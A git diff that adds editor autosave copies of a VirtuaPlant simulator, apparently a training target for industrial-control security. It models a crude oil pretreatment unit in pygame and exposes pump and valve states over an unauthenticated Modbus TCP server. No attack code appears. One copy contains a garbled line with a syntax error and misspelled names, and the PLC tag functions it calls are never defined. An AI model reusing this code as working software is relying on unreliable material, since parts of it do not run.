+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+ oil_spill = oil_spill_sensor(space)
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision)
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_pqDEGS.py b/plants/oil-refinery/.~c9_invoke_pqDEGS.py
new file mode 100644
index 0000000..937edd3
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_pqDEGS.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+ oil_spill = oil_spill_sensor(space)
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ elif PLCGtTaG(PLC_OUTLET_VALE) = 0: # Valve is open
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_qPHwNL.py b/plants/oil-refinery/.~c9_invoke_qPHwNL.py
new file mode 100644
index 0000000..b501b52
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_qPHwNL.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
